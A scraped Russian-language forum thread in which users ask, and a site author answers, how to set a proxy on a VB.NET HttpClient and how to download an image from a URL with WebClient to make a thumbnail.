17:14 i32 День добрый..А как в таком виде использовать прокси..(если вообще можно) Dim Handler As New HttpClientHandler Dim proxy As New WebProxy() ' Proxy = TextBox2.Text Dim urlBuilder As New System.UriBuilder Handler.Proxy = proxy Handler.UseProxy = True 'Handler.AutomaticDecompression = DecompressionMethods.GZip Or DecompressionMethods.Deflate Dim client As New System.Net.Http.HttpClient(Handler) Dim content As New System.Net.Http.MultipartFormDataContent() urlBuilder.Host = "172.20.133.199" urlBuilder.Port = 3128 Спасибо.. RE: Цикл 2015-04-04 17:33 Алексей Немиро Dim Handler As New HttpClientHandler With { .Proxy = new WebProxy("http://172.20.133.199:3128", False), .UseProxy = True } Как сохранить картинку из http? 2015-04-04 21:38 anka_x Добрый день. Есть код (позаимствованный когда-то на kbyte.ru, спасибо), который сохраняет превьюшку картинку из asp:FileUpload. А как сохранить превьюшку картинки, полученной из url-адреса, например: "http://aleksey.nemiro.ru/upload/images/00021.jpg"? Видимо, надо что-то поменять в строке? Dim IMG As System.Drawing.Image = System.Drawing.Image.FromStream(frmFileUpload.PostedFile.InputStream) RE: Цикл 2015-04-04 22:08 i32 Ага .. Вот так пойдет? Dim Proxy As String = TextBox2.Text Dim Handler As New HttpClientHandler Handler.Proxy = New WebProxy(Proxy) Handler.UseProxy = True Dim client As New System.Net.Http.HttpClient(Handler) Dim content As New System.Net.Http.MultipartFormDataContent() А Handler.Proxy = Nothing - такое не катит..?. Если текст пуст то без прокси..Я просто в первый раз столкнулся ..И загрузил на ХР -эту длл-ку Через консоль-загрузки..Но правдо только на проект..(Так я понял..) RE: Как сохранить картинку из http? 2015-04-04 23:05 Алексей Немиро Проще всего при помощи System.Net.WebClient: 'получаем картинку Dim data() As Byte = New WebClient().DownloadData("http://aleksey.nemiro.ru/upload/images/00021.jpg") 'помещаем в System.IO.MemoryStream Dim m As New MemoryStream(data) 'передаем из MemoryStream в Image Dim img As System.Drawing.Image = System.Drawing.Image.FromStream(m) 'далее можно работать с image обычным образом Или, если нужен файл, то можно использовать метод DownloadFile: Dim web As New WebClient() web.DownloadFile("http://aleksey.nemiro.ru/upload/images/00021.jpg", "C:\00021.jpg") Если будут проблемы с блокировкой скаченных файлов, то придется использовать вариант с DownloadData, получать массив и сохранять в файл, явно закрывая поток. RE: Как сохранить картинку из http? 2015-04-05 00:25 anka_x Спасибо большое, Алексей! Буду экпериментировать. ) WPF 3D Menu 2015-04-05 14:34 Shark1 Простой пример меню с 3D кнопками. |
В избранное | ||